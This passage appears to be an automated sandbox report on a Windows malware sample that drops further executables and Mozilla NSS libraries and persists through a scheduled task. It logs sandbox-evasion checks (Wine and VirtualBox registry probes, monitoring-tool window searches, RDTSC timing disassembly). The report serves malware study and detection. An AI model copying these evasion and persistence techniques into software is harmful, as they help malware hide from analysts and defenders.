Source: C:\Users\user\AppData\Local\Temp\1000006001\a3b2c9311b.exe	Unpacked PE file: 14.2.a3b2c9311b.exe.60000.0.unpack Unknown_Section0:EW;Unknown_Section1:EW;Unknown_Section2:EW;Unknown_Section3:EW;Unknown_Section4:EW;.data:EW; vs Unknown_Section0:EW;Unknown_Section1:R;Unknown_Section2:W;Unknown_Section3:R;Unknown_Section4:EW;.data:EW;

Source: C:\Users\user\Desktop\ukuWaeRgPR.exe

Code function: 0_2_6C37C410 LoadLibraryW,GetProcAddress,FreeLibrary,

0_2_6C37C410

Source: initial sample

Static PE information: section where entry point is pointing to: .data

Source: explorti.exe.6.dr	Static PE information: real checksum: 0x1e5b27 should be: 0x1ddbf1
Source: random[1].exe.13.dr	Static PE information: real checksum: 0x0 should be: 0x263909
Source: ukuWaeRgPR.exe	Static PE information: real checksum: 0x0 should be: 0x263909
Source: EHDHDHIECG.exe.0.dr	Static PE information: real checksum: 0x1e5b27 should be: 0x1ddbf1
Source: a3b2c9311b.exe.13.dr	Static PE information: real checksum: 0x0 should be: 0x263909
Source: amadka[1].exe.0.dr	Static PE information: real checksum: 0x1e5b27 should be: 0x1ddbf1

Source: ukuWaeRgPR.exe	Static PE information: section name:
Source: ukuWaeRgPR.exe	Static PE information: section name:
Source: ukuWaeRgPR.exe	Static PE information: section name:
Source: ukuWaeRgPR.exe	Static PE information: section name:
Source: ukuWaeRgPR.exe	Static PE information: section name:
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: amadka[1].exe.0.dr	Static PE information: section name:
Source: amadka[1].exe.0.dr	Static PE information: section name: .idata
Source: amadka[1].exe.0.dr	Static PE information: section name:
Source: amadka[1].exe.0.dr	Static PE information: section name: avjczlwa
Source: amadka[1].exe.0.dr	Static PE information: section name: sysspafc
Source: amadka[1].exe.0.dr	Static PE information: section name: .taggant
Source: EHDHDHIECG.exe.0.dr	Static PE information: section name:
Source: EHDHDHIECG.exe.0.dr	Static PE information: section name: .idata
Source: EHDHDHIECG.exe.0.dr	Static PE information: section name:
Source: EHDHDHIECG.exe.0.dr	Static PE information: section name: avjczlwa
Source: EHDHDHIECG.exe.0.dr	Static PE information: section name: sysspafc
Source: EHDHDHIECG.exe.0.dr	Static PE information: section name: .taggant
Source: explorti.exe.6.dr	Static PE information: section name:
Source: explorti.exe.6.dr	Static PE information: section name: .idata
Source: explorti.exe.6.dr	Static PE information: section name:
Source: explorti.exe.6.dr	Static PE information: section name: avjczlwa
Source: explorti.exe.6.dr	Static PE information: section name: sysspafc
Source: explorti.exe.6.dr	Static PE information: section name: .taggant
Source: random[1].exe.13.dr	Static PE information: section name:
Source: random[1].exe.13.dr	Static PE information: section name:
Source: random[1].exe.13.dr	Static PE information: section name:
Source: random[1].exe.13.dr	Static PE information: section name:
Source: random[1].exe.13.dr	Static PE information: section name:
Source: a3b2c9311b.exe.13.dr	Static PE information: section name:
Source: a3b2c9311b.exe.13.dr	Static PE information: section name:
Source: a3b2c9311b.exe.13.dr	Static PE information: section name:
Source: a3b2c9311b.exe.13.dr	Static PE information: section name:
Source: a3b2c9311b.exe.13.dr	Static PE information: section name:

Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	Code function: 0_2_6C34B536 push ecx; ret	0_2_6C34B549
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Code function: 13_2_004BD82C push ecx; ret	13_2_004BD83F
Source: C:\Users\user\AppData\Local\Temp\1000006001\a3b2c9311b.exe	Code function: 14_2_7EAE2AA0 push 7EAE0002h; ret	14_2_7EAE2AAF
Source: C:\Users\user\AppData\Local\Temp\1000006001\a3b2c9311b.exe	Code function: 14_2_7EAE27A0 push 7EAE0002h; ret	14_2_7EAE27AF
Source: C:\Users\user\AppData\Local\Temp\1000006001\a3b2c9311b.exe	Code function: 14_2_7EAE0CA0 push 7EAE0002h; ret	14_2_7EAE0CAF
Source: C:\Users\user\AppData\Local\Temp\1000006001\a3b2c9311b.exe	Code function: 14_2_7EAE0FA0 push 7EAE0002h; ret	14_2_7EAE0FAF
Source: C:\Users\user\AppData\Local\Temp\1000006001\a3b2c9311b.exe	Code function: 14_2_7EAE12A0 push 7EAE0002h; ret	14_2_7EAE12AF
Source: C:\Users\user\AppData\Local\Temp\1000006001\a3b2c9311b.exe	Code function: 14_2_7EAE15A0 push 7EAE0002h; ret	14_2_7EAE15AF
Source: C:\Users\user\AppData\Local\Temp\1000006001\a3b2c9311b.exe	Code function: 14_2_7EAE18A0 push 7EAE0002h; ret	14_2_7EAE18AF
Source: C:\Users\user\AppData\Local\Temp\1000006001\a3b2c9311b.exe	Code function: 14_2_7EAE1BA0 push 7EAE0002h; ret	14_2_7EAE1BAF
Source: C:\Users\user\AppData\Local\Temp\1000006001\a3b2c9311b.exe	Code function: 14_2_7EAE1EA0 push 7EAE0002h; ret	14_2_7EAE1EAF
Source: C:\Users\user\AppData\Local\Temp\1000006001\a3b2c9311b.exe	Code function: 14_2_7EAE21A0 push 7EAE0002h; ret	14_2_7EAE21AF
Source: C:\Users\user\AppData\Local\Temp\1000006001\a3b2c9311b.exe	Code function: 14_2_7EAE24A0 push 7EAE0002h; ret	14_2_7EAE24AF
Source: C:\Users\user\AppData\Local\Temp\1000006001\a3b2c9311b.exe	Code function: 14_2_7EAE29B0 push 7EAE0002h; ret	14_2_7EAE29BF
Source: C:\Users\user\AppData\Local\Temp\1000006001\a3b2c9311b.exe	Code function: 14_2_7EAE26B0 push 7EAE0002h; ret	14_2_7EAE26BF
Source: C:\Users\user\AppData\Local\Temp\1000006001\a3b2c9311b.exe	Code function: 14_2_7EAE0BB0 push 7EAE0002h; ret	14_2_7EAE0BBF
Source: C:\Users\user\AppData\Local\Temp\1000006001\a3b2c9311b.exe	Code function: 14_2_7EAE0EB0 push 7EAE0002h; ret	14_2_7EAE0EBF
Source: C:\Users\user\AppData\Local\Temp\1000006001\a3b2c9311b.exe	Code function: 14_2_7EAE11B0 push 7EAE0002h; ret	14_2_7EAE11BF
Source: C:\Users\user\AppData\Local\Temp\1000006001\a3b2c9311b.exe	Code function: 14_2_7EAE14B0 push 7EAE0002h; ret	14_2_7EAE14BF
Source: C:\Users\user\AppData\Local\Temp\1000006001\a3b2c9311b.exe	Code function: 14_2_7EAE17B0 push 7EAE0002h; ret	14_2_7EAE17BF
Source: C:\Users\user\AppData\Local\Temp\1000006001\a3b2c9311b.exe	Code function: 14_2_7EAE1AB0 push 7EAE0002h; ret	14_2_7EAE1ABF
Source: C:\Users\user\AppData\Local\Temp\1000006001\a3b2c9311b.exe	Code function: 14_2_7EAE1DB0 push 7EAE0002h; ret	14_2_7EAE1DBF
Source: C:\Users\user\AppData\Local\Temp\1000006001\a3b2c9311b.exe	Code function: 14_2_7EAE20B0 push 7EAE0002h; ret	14_2_7EAE20BF
Source: C:\Users\user\AppData\Local\Temp\1000006001\a3b2c9311b.exe	Code function: 14_2_7EAE23B0 push 7EAE0002h; ret	14_2_7EAE23BF
Source: C:\Users\user\AppData\Local\Temp\1000006001\a3b2c9311b.exe	Code function: 14_2_7EAE2980 push 7EAE0002h; ret	14_2_7EAE298F
Source: C:\Users\user\AppData\Local\Temp\1000006001\a3b2c9311b.exe	Code function: 14_2_7EAE0E80 push 7EAE0002h; ret	14_2_7EAE0E8F
Source: C:\Users\user\AppData\Local\Temp\1000006001\a3b2c9311b.exe	Code function: 14_2_7EAE1180 push 7EAE0002h; ret	14_2_7EAE118F
Source: C:\Users\user\AppData\Local\Temp\1000006001\a3b2c9311b.exe	Code function: 14_2_7EAE1480 push 7EAE0002h; ret	14_2_7EAE148F
Source: C:\Users\user\AppData\Local\Temp\1000006001\a3b2c9311b.exe	Code function: 14_2_7EAE1780 push 7EAE0002h; ret	14_2_7EAE178F
Source: C:\Users\user\AppData\Local\Temp\1000006001\a3b2c9311b.exe	Code function: 14_2_7EAE1A80 push 7EAE0002h; ret	14_2_7EAE1A8F
Source: C:\Users\user\AppData\Local\Temp\1000006001\a3b2c9311b.exe	Code function: 14_2_7EAE1D80 push 7EAE0002h; ret	14_2_7EAE1D8F

Source: ukuWaeRgPR.exe	Static PE information: section name: entropy: 7.995655155988397
Source: ukuWaeRgPR.exe	Static PE information: section name: entropy: 7.978560730889681
Source: ukuWaeRgPR.exe	Static PE information: section name: entropy: 7.953798780964511
Source: amadka[1].exe.0.dr	Static PE information: section name: entropy: 7.976322234409819
Source: amadka[1].exe.0.dr	Static PE information: section name: avjczlwa entropy: 7.953937676701836
Source: EHDHDHIECG.exe.0.dr	Static PE information: section name: entropy: 7.976322234409819
Source: EHDHDHIECG.exe.0.dr	Static PE information: section name: avjczlwa entropy: 7.953937676701836
Source: explorti.exe.6.dr	Static PE information: section name: entropy: 7.976322234409819
Source: explorti.exe.6.dr	Static PE information: section name: avjczlwa entropy: 7.953937676701836
Source: random[1].exe.13.dr	Static PE information: section name: entropy: 7.995655155988397
Source: random[1].exe.13.dr	Static PE information: section name: entropy: 7.978560730889681
Source: random[1].exe.13.dr	Static PE information: section name: entropy: 7.953798780964511
Source: a3b2c9311b.exe.13.dr	Static PE information: section name: entropy: 7.995655155988397
Source: a3b2c9311b.exe.13.dr	Static PE information: section name: entropy: 7.978560730889681
Source: a3b2c9311b.exe.13.dr	Static PE information: section name: entropy: 7.953798780964511

Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	File created: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File created: C:\Users\user\AppData\Local\Temp\1000006001\a3b2c9311b.exe	Jump to dropped file
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\amadka[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	File created: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	Jump to dropped file
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe

File created: C:\Windows\Tasks\explorti.job

Jump to behavior

Source: C:\Users\user\Desktop\ukuWaeRgPR.exe

Code function: 0_2_6C3755F0 LoadLibraryW,LoadLibraryW,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_6C3755F0

Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 73EB61 second address: 73EB67 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 73EB67 second address: 73EB83 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FEE851EFD98h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 73EB83 second address: 73EB87 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 8CAB27 second address: 8CAB35 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jnl 00007FEE851EFD86h 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 8CAB35 second address: 8CAB3B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 8CAB3B second address: 8CAB49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jbe 00007FEE851EFD8Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 8CAB49 second address: 8CAB57 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FEE84E88FCEh 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 8CAB57 second address: 8CAB65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 js 00007FEE851EFDB2h 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 8C9D74 second address: 8C9D93 instructions: 0x00000000 rdtsc 0x00000002 js 00007FEE84E88FDAh 0x00000008 jmp 00007FEE84E88FD2h 0x0000000d push edi 0x0000000e pop edi 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 8CA46C second address: 8CA473 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push esi 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 8CA473 second address: 8CA498 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushad 0x00000008 jmp 00007FEE84E88FD9h 0x0000000d push eax 0x0000000e push edx 0x0000000f push esi 0x00000010 pop esi 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 8CA498 second address: 8CA4A2 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FEE851EFD86h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 8CA4A2 second address: 8CA4AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 8CC5A9 second address: 73EB61 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEE851EFD92h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 add dword ptr [esp], 674EC9FAh 0x00000010 and ecx, dword ptr [ebp+122D2B99h] 0x00000016 push dword ptr [ebp+122D058Dh] 0x0000001c mov ecx, dword ptr [ebp+122D2BA1h] 0x00000022 call dword ptr [ebp+122D2D09h] 0x00000028 pushad 0x00000029 pushad 0x0000002a push edx 0x0000002b mov esi, dword ptr [ebp+122D29A5h] 0x00000031 pop esi 0x00000032 movsx ecx, bx 0x00000035 popad 0x00000036 xor eax, eax 0x00000038 cmc 0x00000039 mov edx, dword ptr [esp+28h] 0x0000003d stc 0x0000003e mov dword ptr [ebp+122D2A8Dh], eax 0x00000044 mov dword ptr [ebp+122D19CEh], ecx 0x0000004a mov esi, 0000003Ch 0x0000004f cmc 0x00000050 add esi, dword ptr [esp+24h] 0x00000054 stc 0x00000055 lodsw 0x00000057 jl 00007FEE851EFD87h 0x0000005d clc 0x0000005e add eax, dword ptr [esp+24h] 0x00000062 pushad 0x00000063 call 00007FEE851EFD96h 0x00000068 mov ecx, dword ptr [ebp+122D2CE1h] 0x0000006e pop eax 0x0000006f jmp 00007FEE851EFD8Bh 0x00000074 popad 0x00000075 mov ebx, dword ptr [esp+24h] 0x00000079 jno 00007FEE851EFD87h 0x0000007f nop 0x00000080 push eax 0x00000081 push edx 0x00000082 push eax 0x00000083 push edx 0x00000084 pushad 0x00000085 popad 0x00000086 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 8CC643 second address: 8CC676 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FEE84E88FC8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e jmp 00007FEE84E88FCFh 0x00000013 mov eax, dword ptr [eax] 0x00000015 pushad 0x00000016 jmp 00007FEE84E88FCDh 0x0000001b push eax 0x0000001c push edx 0x0000001d push edx 0x0000001e pop edx 0x0000001f rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 8CC676 second address: 8CC685 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b push ecx 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 8CC7AF second address: 8CC7B5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 8CC7B5 second address: 8CC86C instructions: 0x00000000 rdtsc 0x00000002 js 00007FEE851EFD86h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c add dword ptr [esp], 55D2D691h 0x00000013 xor edx, 409D5CF5h 0x00000019 push 00000003h 0x0000001b jmp 00007FEE851EFD96h 0x00000020 or dword ptr [ebp+122D1A2Ah], esi 0x00000026 push 00000000h 0x00000028 push 00000000h 0x0000002a push ecx 0x0000002b call 00007FEE851EFD88h 0x00000030 pop ecx 0x00000031 mov dword ptr [esp+04h], ecx 0x00000035 add dword ptr [esp+04h], 00000018h 0x0000003d inc ecx 0x0000003e push ecx 0x0000003f ret 0x00000040 pop ecx 0x00000041 ret 0x00000042 push 00000003h 0x00000044 mov edi, dword ptr [ebp+122D2D9Ah] 0x0000004a call 00007FEE851EFD89h 0x0000004f jnp 00007FEE851EFD92h 0x00000055 push eax 0x00000056 pushad 0x00000057 jmp 00007FEE851EFD90h 0x0000005c pushad 0x0000005d push ecx 0x0000005e pop ecx 0x0000005f jc 00007FEE851EFD86h 0x00000065 popad 0x00000066 popad 0x00000067 mov eax, dword ptr [esp+04h] 0x0000006b push eax 0x0000006c push edx 0x0000006d push edi 0x0000006e jmp 00007FEE851EFD96h 0x00000073 pop edi 0x00000074 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 8CC86C second address: 8CC871 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 8CC871 second address: 8CC8CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov eax, dword ptr [eax] 0x00000009 jmp 00007FEE851EFD90h 0x0000000e mov dword ptr [esp+04h], eax 0x00000012 pushad 0x00000013 jmp 00007FEE851EFD91h 0x00000018 push ebx 0x00000019 pushad 0x0000001a popad 0x0000001b pop ebx 0x0000001c popad 0x0000001d pop eax 0x0000001e jmp 00007FEE851EFD93h 0x00000023 lea ebx, dword ptr [ebp+1246150Ah] 0x00000029 movsx edi, ax 0x0000002c xchg eax, ebx 0x0000002d push eax 0x0000002e push edx 0x0000002f jl 00007FEE851EFD88h 0x00000035 pushad 0x00000036 popad 0x00000037 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 8CC92D second address: 8CC93E instructions: 0x00000000 rdtsc 0x00000002 jl 00007FEE84E88FC6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push ebx 0x0000000e pushad 0x0000000f popad 0x00000010 pop ebx 0x00000011 rdtsc
